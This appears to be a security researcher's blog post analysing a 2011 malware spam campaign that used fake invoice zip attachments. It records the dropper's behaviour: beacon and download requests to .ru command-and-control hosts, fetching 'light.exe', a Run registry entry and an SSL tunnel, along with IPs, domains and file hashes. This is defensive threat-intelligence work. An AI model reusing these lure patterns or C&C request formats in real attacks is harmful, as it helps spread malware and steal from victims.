Beazer Homes USA Corp.
Boyd Gaming Corp.
Brookdale Senior Living Corp.
Hyland Software Corp.

Novellus Systems Corp.
OSN Corp.
PDC Corp.
Safeco Corporation Corp.
WLC Corp.

The attachment may be named "Intinvoice" or "Invoice" followed by an underscore, a date, and an "invoice number" ".zip" such as:
Intinvoice_08.6.2011_2222341965.zip
or
Intinvoice_08.4.2011_Q167829.zip
or
Invoice_08.6.2011_T40099.zip
We've seen 1300+ copies so far in the UAB Spam Data Mine, and I have 15 in my personal email.
So far, all have had the same attachment MD5, which yields a 6 of 43 detection rate on this VirusTotal Report.
So far everyone is just saying it is "Suspicious" or "Generic" ... which is our invitation to infect ourselves and figure out what it does!
When we launched the malware, we made a connection to "armaturan.ru" on 94.199.48.152.
We also talked to "ss-partners.ru" on 77.120.114.100
and to "ledinit.ru" on 78.111.51.121
The connection to armaturan.ru did:
GET /forum/dl/ots.php?seller=4&hash={8FA33B0C-3F04-405B-83BD-1CD82D298FF2}
which seems to be uniquely registering our machine, and giving seller #4 credit for my infection?
From ss-partners.ru we fetched a file:
GET /dump/light.exe
which dropped an approximately 70k file onto our local machine.
Then we went back to armaturan.ru and sent another get:
GET /forum/dl/getruns.php?seller=4&hash={8FA33B0C-3F04-405B-83BD-1CD82D298FF2}&ahash=5895b2509324d6a17b2b6ea09859a485
Any bets on whether that ahash is the MD5 of the file I just downloaded?
Looks like I just reported back to the C&C that I successfully downloaded and installed malware with that MD5.
At this point I checked my registry and found that I had a new Run command for next time I restart. I'm supposed to run:
C:\Documents and Settings\Administrator\Application Data\3B1F8DC4\3B1F8DC4.EXE
Odd, I don't recall having a file named that?
Actually, we confirmed that this is the file that was downloaded as "light.exe" above. The VirusTotal report shows only 4 of 43 infection reports for this file as well. See VirusTotal Report.
Unfortunately, it disproves my MD5 theory. This is NOT the "ahash" value. This file's MD5 is f58d5cbb564069eca8806d4e48d7a714.
Launching the second file caused the machine to open an SSL tunnel to 78.111.51.121 and then sit idle.
You may recognize that as the IP address for "ledinit.ru" earlier, but it didn't make a connection by name. It went straight for the IP address. If that IP sounds familiar, it's probably because there have been many other malware campaigns tied to the network "Azerbaijan Baku Sol Ltd", but I'm sure that's just because it's a very large network.
78.111.51.100 is currently hosting three live Zeus C&C servers. Surely a coincidence.

Armaturan.ru on 94.199.48.152 also has a sordid history.
That IP address, in Hungary, has been associated with at least two active SpyEye domains: hdkajhslalskjd.ru and hhasdalkjjfasd.ru
I suppose we'll have to ask Mr. Zsolt nicely if he would remove those domains.
